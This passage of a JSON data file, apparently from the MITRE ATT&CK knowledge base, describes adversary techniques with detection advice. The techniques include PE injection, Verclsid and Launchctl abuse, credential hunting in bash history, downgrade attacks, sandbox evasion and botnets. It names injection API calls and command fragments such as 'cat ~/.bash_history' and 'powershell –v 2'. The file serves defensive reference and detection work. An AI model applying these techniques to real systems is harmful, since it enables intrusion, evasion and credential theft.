2018."},{"source_name":"capec","url":"https://capec.mitre.org/data/definitions/563.html","external_id":"CAPEC-563"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","type":"attack-pattern","created":"2020-01-14T01:27:31.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.002","url":"https://attack.mitre.org/techniques/T1055/002"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2021-10-18T12:21:11.178Z","name":"Portable Executable Injection","description":"Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Access","Process: OS API Execution","Process: Process Modification"],"x_mitre_defense_bypassed":["Anti-virus","Application control"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rodrigo Garcia, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327","created":"2020-08-10T13:59:38.443Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1218.012","url":"https://attack.mitre.org/techniques/T1218/012"},{"source_name":"BOHOPS Abusing the COM Registry","url":"https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/","description":"BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020."},{"source_name":"Red Canary Verclsid.exe","url":"https://redcanary.com/blog/verclsid-exe-threat-detection/","description":"Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020."},{"source_name":"LOLBAS Verclsid","url":"https://lolbas-project.github.io/lolbas/Binaries/Verclsid/","description":"LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020."},{"source_name":"Nick Tyrer GitHub","url":"https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5","description":"Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020."},{"source_name":"WinOSBite verclsid.exe","url":"https://www.winosbite.com/verclsid-exe/","description":"verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block . Retrieved August 10, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ","modified":"2022-05-20T17:35:28.221Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Verclsid","x_mitre_detection":"Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Application control","Digital Certificate Validation"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-11T01:08:56.774Z","name":"Compromise Accounts","description":"Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_deprecated":false,"x_mitre_detection":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.2","x_mitre_data_sources":["Persona: Social Media","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a","created":"2020-10-01T01:17:15.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1586","external_id":"T1586"},{"source_name":"AnonHBGary","description":"Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.","url":"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"},{"source_name":"Microsoft DEV-0537","description":"Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-20T20:14:35.179Z","name":"Launchctl","description":"Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \n\nMonitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Service: Service Creation","File: File Modification"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","created":"2020-03-10T18:26:56.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1569/001","external_id":"T1569.001"},{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"},{"source_name":"Launchctl Man","description":"SS64. (n.d.). launchctl. Retrieved March 28, 2020.","url":"https://ss64.com/osx/launchctl.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3","created":"2020-10-01T00:58:35.269Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1584.005","url":"https://attack.mitre.org/techniques/T1584/005"},{"source_name":"Dell Dridex Oct 2015","url":"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019."},{"source_name":"Imperva DDoS for Hire","url":"https://www.imperva.com/learn/ddos/booters-stressers-ddosers/","description":"Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020."},{"source_name":"Norton Botnet","url":"https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html","description":"Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).","modified":"2022-04-19T15:55:58.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Botnet","x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_is_subtechnique":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--818302b2-d640-477b-bf88-873120ce85c4","created":"2020-10-20T00:09:33.072Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1059.008","url":"https://attack.mitre.org/techniques/T1059/008"},{"source_name":"Cisco IOS Software Integrity Assurance - Command History","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)","modified":"2022-04-19T20:28:09.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Network Device CLI","x_mitre_detection":"Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution"],"x_mitre_remote_support":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:24:04.912Z","name":"Bash History","description":"Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Access","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3","created":"2020-02-04T13:02:11.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1552/003","external_id":"T1552.003"},{"source_name":"External to DA, the OS X Way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-03T16:40:15.445Z","name":"Downgrade Attack","description":"Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Mayuresh Dani, Qualys","Daniel Feichter, @VirtualAllocEx, Infosec Tirol","Arad Inbar, Fidelis Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell –v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\n\nMonitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\n\nMonitor network data to detect cases where HTTP is used instead of HTTPS.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: Process Metadata"],"type":"attack-pattern","id":"attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497","created":"2021-10-08T14:06:28.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562/010","external_id":"T1562.010"},{"source_name":"Crowdstrike Downgrade","description":"Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023.","url":"https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/"},{"source_name":"Targeted SSL Stripping Attacks Are Real","description":"Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.","url":"https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/"},{"source_name":"CrowdStrike BGH Ransomware 2021","description":"Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.","url":"https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/"},{"source_name":"att_def_ps_logging","description":"Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.","url":"https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/"},{"source_name":"inv_ps_attacks","description":"Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.","url":"https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"},{"source_name":"Mandiant BYOL 2018","description":"Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 8, 2021.","url":"https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"},{"source_name":"Praetorian TLS Downgrade Attack 2014","description":"Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.","url":"https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-16T16:14:12.793Z","name":"XPC Services","description":"Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Csaba Fitzl @theevilbit of Kandji"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: Process Access"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19","created":"2021-10-12T06:45:36.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1559/003","external_id":"T1559.003"},{"source_name":"creatingXPCservices","description":"Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022.","url":"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1"},{"source_name":"Designing Daemons Apple Dev","description":"Apple. (n.d.). Retrieved October 12, 2021.","url":"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html"},{"source_name":"CVMServer Vuln","description":"Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html"},{"source_name":"Learn XPC Exploitation","description":"Wojciech Reguła. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021.","url":"https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:50:18.049Z","name":"Virtualization/Sandbox Evasion","description":"Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Deloitte Threat Library Team","Sunny Neo"],"x_mitre_deprecated":false,"x_mitre_detection":"Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.3","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution"],"x_mitre_defense_bypassed":["Anti-virus","Host forensic analysis","Signature-based detection","Static File Analysis"],"type":"attack-pattern","id":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","created":"2019-04-17T22:22:24.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1497","external_id":"T1497"},{"source_name":"Unit 42 Pirpi July 2015","description":"Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.","url":"https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"},{"source_name":"Deloitte Environment Awareness","description":"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.","url":"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-07T17:53:54.380Z","name":"Web Service","description":"Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Anastasios Pingios","Sarathkumar Rajendran, Microsoft Defender365"],"x_mitre_deprecated":false,"x_mitre_detection":"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for 